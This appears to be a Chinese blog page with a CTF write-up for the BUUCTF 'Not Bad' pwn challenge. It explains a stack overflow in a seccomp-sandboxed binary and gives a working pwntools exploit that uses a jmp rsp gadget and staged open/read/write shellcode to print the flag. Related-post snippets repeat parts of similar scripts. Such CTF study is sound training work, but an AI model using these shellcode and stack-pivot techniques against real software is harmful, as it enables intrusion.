【pwn】 [极客大挑战 2019]Not Bad

[极客大挑战 2019]Not Bad的另一种思路 保护 漏洞 算上rbp只有0x20的溢出空间 思路1 利用jmp rsp的GG执行栈上的shellcode,这个思路用的人很多,就不再说了 思路2:不使用jmp rsp 如果需要开启shellcode,最常用的就是ret到shellcode的地址,为了获取shellcode地址,那么就有了两个选择 泄露栈地址,做不到 栈迁移到一个已知位置 通过leave指令使得rbp = 已知空间buf之后,需要在0x18长度内完成两件事情 向buf中写入exp leave+ret让rsp迁 阅读详情

例行检查
在这里插入图片描述
开了沙箱
在这里插入图片描述

程序逻辑很简单,存在0x18字节溢出,看是否能进行栈迁移,目前可控输入只有buf,但是buf只有0x20大小不够rop,所以尝试别的方法。程序在最开始mmap了一块内存,可写可执行,那么接下来目标就是1.在这块内存上写shellcode
2.跳转过来执行

由于不能rop且栈是可执行的想到能不能进行jmp rsp。在程序中找到了这个指令。
在这里插入图片描述

那么就可以在buf上布置read以及跳转的shellcode。在jmp rsp时跳转到buf去执行,buf地址是rsp-0x30,sub rsp,0x30;jmp rsp小于8字节满足要求。

from pwn import *

io=remote('node3.buuoj.cn',26473)
context.binary=ELF('./bad')

mmap=0x123000
jmp_rsp=0x400A01

io.recvuntil('have fun!')
pl1=(asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000;call rax")).ljust(0x28,'\x00')+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp")
io.send(pl1)

pl2=shellcraft.open('./flag')
pl2+=shellcraft.read(3,mmap+0x100,0x50)
pl2+=shellcraft.write(1,mmap+0x100,0x50)

io.send(asm(pl2))
io.interactive()
pwn入门小技巧 目前我所遇到的一些pwn的做题技巧 我也是偶尔玩玩ctf,所以也不会很难的,所以这篇主要是帮助刚开始学习的人学习吧 首先知识点包括:栈,堆,整数溢出,格式化字符串 目前ctf的题越来越偏向于实际,有的会使用刚刚爆出来的CVE漏洞的,所以不能只局限于glibc 所以可以大体分为两类把:libc,kernel 栈利用:有ret2libc,ret2shellcode,ret2text,ropchain,ret2syscall,brop,srop等等,当然有时候还会有seccomp的只能使用ORW系统调用 堆利用: 阅读详情

相关推荐

BUUCTF-PWN刷题记录-8

目录roarctf_2019_realloc_magic roarctf_2019_realloc_magic

weixin_44145820的博客 1100

极客大挑战_2019_Not_Bad

极客大挑战_2019_Not_Bad shellcode题目 mmap了一块空间,加了沙盒来个orw。 可以考虑栈迁移,但是既然可以shellcode,那就看一下怎么使用 前面mmap了一块,可以将shellcode写到mmap那里,然后借助gadget跳到mmap去执行。 刚好有一个jmp rsp这个跳板,思路就是使用jmp rsp这个跳板跳到buf头中被写入的payload。再用shellcraft.read(0, mmap, 0x100) mov rax,0x123000;call rax这两

z1r0的博客 3041

深入CRSF协议数据包:手撕STM32代码,教你像调试串口一样分析ELRS遥控数据流

本文深入解析CRSF协议数据包,通过手撕STM32代码,教你如何像调试串口一样分析ELRS遥控数据流。从硬件准备到数据包捕获状态机设计,再到高级数据分析技巧和实战应用,全面覆盖CRSF协议的解析与优化,帮助开发者构建稳定可靠的通信系统。

weixin_29194693的博客 337

[极客大挑战 2019]Not Bad刷题

检查下程序的保护措施 拖入ida发现程序打开了沙盒保护,随即用seccomp-tools工具查看下白名单 因此这题选择用orw来get flag 函数允许我们输入0x38个字节,但buf只有0x20大小,并且只能溢出0x18个字节,用buf来装orw的汇编代码是绝对不够的,但程序一开始mmap了内存中的一段区域,我们可以利用这段区域来保存我们的shellcode,并发现该程序有jmp rsp,利用jmp rsp可以直接执行栈上的内容 write up from pwn import..

qq_43766802的博客 707

DRV2605L触觉驱动芯片实战指南:从自动校准到音频转触觉应用

触觉反馈技术是现代人机交互的核心组成部分,它通过精确控制振动马达来模拟物理触感,广泛应用于智能手机、游戏手柄和汽车触摸屏等领域。其原理在于将电信号转化为机械振动,关键在于如何高效、精准地驱动不同类型的马达(如ERM和LRA)。这项技术的核心价值在于提升交互的真实感和沉浸感。在工程实践中,集成驱动芯片如DRV2605L通过内置智能反馈引擎和自动校准功能,解决了传统驱动方式响应慢、效果不一致的难题。它特别适用于需要高质量触觉反馈的应用场景,例如消费电子、游戏外设和车载信息娱乐系统。其中,自动校准能自适应优化驱动

weixin_42631411的博客 342

STM32F407+HAL库+W5500实现TCP通讯 个人项目总结

推荐阅读此博客 cv即可成功首先需要一个可以进行串口调试的工程,方便进行调试。1.在W5500官网移植库文件重点是Ethernet这个文件夹将里面的 socket.c,socket.h,wizchip_conf.c,wizchip_conf.h,还有根据W5500文件夹里的w5500.c和w5500.h移植到自己的工程里面。然后再创建一个.c和.h文件 我的叫w5500_port_hal.c 和w5500_port_hal.h 记得将.h文件链接到工程里。

a234abr的博客 2248

buuoj刷题记录 - [极客大挑战 2019]Not Bad

检查一下保护: 程序很简单,存在栈溢出漏洞,只能溢出16个字节。 只允许orw系统调用. 前八个字节用来jmp rsp ,紧接着加上5个字节近转移 call到buff的开始处执行. 这样就可以往buf里面写gadget来往指定地址处读入shellcode 之后跳转到shellcode把flag读出来 exp: from pwn import* #sh = process('./pwn') sh = remote('node4.buuoj.cn',29515) context.arch= 'x86_6

qq_34010404的博客 505

HFSS与AI融合:智能算法如何重塑天线设计流程

本文探讨了HFSS与AI融合如何通过智能算法革新天线设计流程。在5G/6G通信时代,AI技术如机器学习和遗传算法显著提升了高频电磁场仿真效率,将传统设计周期从数周缩短至数小时,并优化了天线性能。文章详细介绍了AI与HFSS的集成策略、关键技术突破及典型应用案例,展示了智能算法在天线设计中的巨大潜力。

weixin_29035147的博客 778

BUUCTF之“[极客大挑战 2019]Not Bad 1”

简单orw

Probeginner的博客 348

AMBA-CHI协议详解(五)

 每个事务由许多不同的packets组成,这些数据包通过互连(interconnect)传输。packets内的一组ID域段用于提供有关包的附加信息。

Crazzy_M的博客 1961

Python 爬虫实战:就业市场趋势数据抓取与行业洞察

在当今竞争激烈的就业市场中,了解行业趋势和就业形势对于求职者、学生以及人力资源专业人士来说至关重要。通过获取和分析就业市场数据,我们可以深入了解不同行业的招聘需求、薪资水平、技能要求等关键信息,从而为职业规划和人才发展提供有力支持。

yansideyucsdn的博客 1406

[BUUCTF]PWN——[极客大挑战 2019]Not Bad详细解释

从这道题可以学到shellcode的一般使用方法,和orw的一般方法 这道题开启了secure computing mood 使用seccomp看到可以使用的函数 使用vmmap查看哪里可以写shellcode IDA中也有看到使用vmmap开启了一段内存 这里mmap参数类型是(起始地址,大小,保护类,文件描述符等) 我们只需要关注保护类权限 PROT_READ是0x1 PROT_WRITE是0x2 PROT_EXEC是0x4 也就是read,write,execute的顺序,那么这里是6,也就是

weixin_46521144的博客 1122

GTK4 入门到实战

本文介绍GTK4作为主流Linux GUI工具包的发展历程与核心特性,涵盖其从GIMP项目诞生的自由软件理念、版本演进及跨平台支持。重点解析GTK4的架构(GDK/GSK/GLib等)、GObject对象系统、信号-回调机制与事件驱动模型,并以C语言为例,结合开发环境搭建与官方示例(gtk4-demo)指导实践,最终通过图片查看器与多标签编辑器项目实现完整应用开发。

OneSea 1396

[BUUCTF]PWN——[极客大挑战 2019]Not Bad (orw_shellcode)

[极客大挑战 2019]Not Bad 附件 步骤

mcmuyanga的博客 2975

ArcGIS Pro SDK (二十五)工作流管理器

【代码】ArcGIS Pro SDK (二十五)工作流管理器。

Winemonk 494

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

linux_pwn(5)--ret2syscall x64&&[极客大挑战 2019]Not Bad

What is ret2syscall ret2syscall是栈溢出里常见的一种手法,如果在x86下有int 80或者在x64中看到syscall,可以考虑利用这种攻击手法 而且现在有些题目出现沙盒,seccomp机制会ban掉一些函数,然后一般会允许使用open,read,write,就可以用读文件方法获取flag pwn题思路 一般如果看到沙盒或者出现syscall可以考虑使用这种攻击手法 例题 [极客大挑战 2019]Not Bad 保护机制 看上去没有任何保护,栈可写可执行 进入之后发现有这么一

azraelxuemo的博客 7040

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

[BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)

[BUUCTF-pwn]——[极客大挑战 2019]Not Bad 又是一道收获满满的题目. peak小知识 seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如程序劫持程序流后通过execve的syscall来getshell。所以可以通过seccomp_init、seccomp_rule_add、seccomp_load配合来ban掉一些系统调用. seccomp-tools: 沙盒工具, 可以查看那些系统调用可以被使用, 安装在我的

Y_peak的博客 677

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

buuctf-pwn [极客大挑战 2019]Not Bad(orw+jmp)题解(学习过程持续更新)

本文记录了一次PWN题的自学过程,目标为64位无保护程序。通过IDA64分析发现存在栈溢出(0x18字节),且通过mmap申请了可写可执行内存。利用jmp_rsp跳转至shellcode区域,结合orw(read、open、write)攻击链,使用shellcraft.read读取flag,最终通过ROP链执行shellcode获取flag。脚本基于pwnchecksecpwn检测与gadget定位,实现完整exploit。

2501_93570847的博客 179

第十届极客大挑战pwn

Find tools 直接nc上去使用pwntool就可以看到base64字符串解密当作密码提即可 from pwn import * import base64 p=remote('pwnto.fun',9999) p.recvuntil('The key is :\n') psd=p.recv(24) psd=base64.b64decode(psd) log.success('pas: '+...

doudoudedi 869

BUUOJ PWN 81-100

81、pwnable_hacknote 82、jarvisoj_level5 83、hitcon2014_stkof 84、cmcc_pwnme2 85、actf_2019_babystack 86、npuctf_2020_easyheap 87、picoctf_2018_can_you_gets_me 88、picoctf_2018_got_shell 89、[BJDCTF 2nd]snake_dyn 90、axb_...

2h4ox1n9 494

第五届极客少年挑战赛总决赛 题目分享

本资料仅限‌‌,禁止用于商业培训或竞赛押题。

xiaozhi_z的博客 923

BUUCTF-pwn(12)

[极客大挑战 2019]Not Bad orw类型,打开文件,读入内容,输出内容!但需要注意gadget! from pwn import * context(log_level='debug',os='linux',arch='amd64') binary = './bad' r = remote('node4.buuoj.cn',29934) #r = process(binary) elf = ELF(binary) mnap = 0x123000 jmp_rsp = 0x0400a01 r.r

菜鸡的博客 3052

BUUCTF pwn wp 91 - 95

[ACTF新生赛2020]rome int func() { int result; // eax int v1[4]; // [esp+14h] [ebp-44h] unsigned __int8 v2; // [esp+24h] [ebp-34h] BYREF unsigned __int8 v3; // [esp+25h] [ebp-33h] unsigned __int8 v4; // [esp+26h] [ebp-32h] unsigned __int8 v5; // [e

fa1c4的blog 796

[GDOUCTF2023] Random

[GDOUCTF2023] Random,设计到知识点有伪随机,汇编,ORWshellcode,栈地址泄露

JusticeUphold的博客 470

【pwn】2022 极客大挑战

2022 极客大挑战 pwn题解

woodwhale的博客 1800
上一篇: 【pwn】 hitcontrain_bamboobox && ZJCTF_19_EasyHeap
下一篇: 【pwn】oooorder
评论 7
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值